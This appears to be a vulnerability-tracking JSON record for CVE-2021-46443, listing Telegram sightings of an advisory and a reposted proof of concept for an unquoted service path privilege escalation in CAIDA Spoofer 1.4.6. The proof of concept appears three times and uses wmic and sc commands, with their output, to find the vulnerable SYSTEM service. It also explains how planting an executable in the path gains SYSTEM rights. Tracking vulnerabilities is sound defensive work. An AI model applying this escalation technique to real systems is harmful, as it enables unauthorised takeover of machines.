{"vulnerability": "cve-2021-46443", "sightings": [{"uuid": "3c69b708-9863-44e4-9b1a-2fa743349bb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-46443", "type": "seen", "source": "https://t.me/cibsecurity/39998", "content": "\u203c CVE-2021-46443 \u203c\n\nSpoofer 1.4.6 suffers from unquoted service paths vulnerability. An attacker as a low privileged local user can hijack the execution flow of the application to escalate privileges by inserting a malicious executable in a higher level directory with the vulnerable path.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-04-01T14:19:29.000000Z"}, {"uuid": "5b7e9552-c246-48f7-81bc-91c684c53075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-46443", "type": "seen", "source": "https://t.me/hacking_Attack/48310", "content": "Exploit Collector\nSpoofer 1.4.6 Privilege Escalation / Unquoted Service Path\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nSpoofer version 1.4.6 suffers from an unquoted service path vulnerability that can lead to privilege escalation.\n\nMD5 | 519cd741e8a7025d315797603a548032\n\nDownload\n# Exploit Title: Spoofer 1.4.6 \u2013 Local Privilege Escalation via Unquoted Service Path \n# Date: 24/01/2022 \n# Exploit Author: Asim Sattar (@M_Asim_1) \n# Vendor Homepage: https://www.caida.org/projects/spoofer/ \n# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe\n# Version: 1.4.6 \n# Tested: Windows 10 (x64) \n# CVE: CVE-2021-46443\nDescription:\n\n-------------\nCaida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted\nservice path. Since this service is running as SYSTEM, this creates a local\nprivilege escalation vulnerability. To properly exploit this vulnerability,\na local attacker can insert an executable in the path of the service.\nRebooting the system or restarting the service will run the malicious\nexecutable with elevated privileges.\n------------------\n\nProof of Concept:\n\n------------------\nC:\\Users\\asim.sattar>wmic service get name,pathname,displayname,startmode |\nfindstr /i auto | findstr /i /v \"C:\\Windows\\\\\" | findstr /i /v \"\"\"\n\nSpoofer Scheduler   spoofer-scheduler   C:\\Program Files\n(x86)\\Spoofer\\spoofer-scheduler.exe  Auto\nC:\\Users\\asim.sattar>sc qc \"spoofer-scheduler\"\n\n[SC] QueryServiceConfig SUCCESS\nSERVICE_NAME: spoofer-scheduler\n\nTYPE               : 10  WIN32_OWN_PROCESS\n\nSTART_TYPE         : 2   AUTO_START\n\nERROR_CONTROL      : 1   NORMAL\n\nBINARY_PATH_NAME   : C:\\Program Files\n(x86)\\Spoofer\\spoofer-scheduler.exe\n\nLOAD_ORDER_GROUP   :\n\nTAG                : 0\n\nDISPLAY_NAME       : Spoofer Scheduler\n\nDEPENDENCIES       : tcpip\n\nSERVICE_START_NAME : LocalSystem\nRegards,\n\nAsim Sattar\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:48.729425Z"}, {"uuid": "c79f7f00-43cb-4c9b-a172-d5a5e038fdfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-46443", "type": "seen", "source": "https://t.me/hacking_Attack/48310", "content": "Exploit Collector\nSpoofer 1.4.6 Privilege Escalation / Unquoted Service Path\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nSpoofer version 1.4.6 suffers from an unquoted service path vulnerability that can lead to privilege escalation.\n\nMD5 | 519cd741e8a7025d315797603a548032\n\nDownload\n# Exploit Title: Spoofer 1.4.6 \u2013 Local Privilege Escalation via Unquoted Service Path \n# Date: 24/01/2022 \n# Exploit Author: Asim Sattar (@M_Asim_1) \n# Vendor Homepage: https://www.caida.org/projects/spoofer/ \n# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe\n# Version: 1.4.6 \n# Tested: Windows 10 (x64) \n# CVE: CVE-2021-46443\nDescription:\n\n-------------\nCaida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted\nservice path. Since this service is running as SYSTEM, this creates a local\nprivilege escalation vulnerability. To properly exploit this vulnerability,\na local attacker can insert an executable in the path of the service.\nRebooting the system or restarting the service will run the malicious\nexecutable with elevated privileges.\n------------------\n\nProof of Concept:\n\n------------------\nC:\\Users\\asim.sattar>wmic service get name,pathname,displayname,startmode |\nfindstr /i auto | findstr /i /v \"C:\\Windows\\\\\" | findstr /i /v \"\"\"\n\nSpoofer Scheduler   spoofer-scheduler   C:\\Program Files\n(x86)\\Spoofer\\spoofer-scheduler.exe  Auto\nC:\\Users\\asim.sattar>sc qc \"spoofer-scheduler\"\n\n[SC] QueryServiceConfig SUCCESS\nSERVICE_NAME: spoofer-scheduler\n\nTYPE               : 10  WIN32_OWN_PROCESS\n\nSTART_TYPE         : 2   AUTO_START\n\nERROR_CONTROL      : 1   NORMAL\n\nBINARY_PATH_NAME   : C:\\Program Files\n(x86)\\Spoofer\\spoofer-scheduler.exe\n\nLOAD_ORDER_GROUP   :\n\nTAG                : 0\n\nDISPLAY_NAME       : Spoofer Scheduler\n\nDEPENDENCIES       : tcpip\n\nSERVICE_START_NAME : LocalSystem\nRegards,\n\nAsim Sattar\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:01.857103Z"}, {"uuid": "1da8966e-1b71-4584-b7bd-62b6e93ca8e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-46443", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/48310", "content": "Exploit Collector\nSpoofer 1.4.6 Privilege Escalation / Unquoted Service Path\n\nhttps://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png \nSpoofer version 1.4.6 suffers from an unquoted service path vulnerability that can lead to privilege escalation.\n\nMD5 | 519cd741e8a7025d315797603a548032\n\nDownload\n# Exploit Title: Spoofer 1.4.6 \u2013 Local Privilege Escalation via Unquoted Service Path \n# Date: 24/01/2022 \n# Exploit Author: Asim Sattar (@M_Asim_1) \n# Vendor Homepage: https://www.caida.org/projects/spoofer/ \n# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe\n# Version: 1.4.6 \n# Tested: Windows 10 (x64) \n# CVE: CVE-2021-46443\nDescription:\n\n-------------\nCaida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted\nservice path. Since this service is running as SYSTEM, this creates a local\nprivilege escalation vulnerability. To properly exploit this vulnerability,\na local attacker can insert an executable in the path of the service.\nRebooting the system or restarting the service will run the malicious\nexecutable with elevated privileges.\n------------------\n\nProof of Concept:\n\n------------------\nC:\\Users\\asim.sattar>wmic service get name,pathname,displayname,startmode |\nfindstr /i auto | findstr /i /v \"C:\\Windows\\\\\" | findstr /i /v \"\"\"\n\nSpoofer Scheduler   spoofer-scheduler   C:\\Program Files\n(x86)\\Spoofer\\spoofer-scheduler.exe  Auto\nC:\\Users\\asim.sattar>sc qc \"spoofer-scheduler\"\n\n[SC] QueryServiceConfig SUCCESS\nSERVICE_NAME: spoofer-scheduler\n\nTYPE               : 10  WIN32_OWN_PROCESS\n\nSTART_TYPE         : 2   AUTO_START\n\nERROR_CONTROL      : 1   NORMAL\n\nBINARY_PATH_NAME   : C:\\Program Files\n(x86)\\Spoofer\\spoofer-scheduler.exe\n\nLOAD_ORDER_GROUP   :\n\nTAG                : 0\n\nDISPLAY_NAME       : Spoofer Scheduler\n\nDEPENDENCIES       : tcpip\n\nSERVICE_START_NAME : LocalSystem\nRegards,\n\nAsim Sattar\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T03:00:04.569261Z"}]}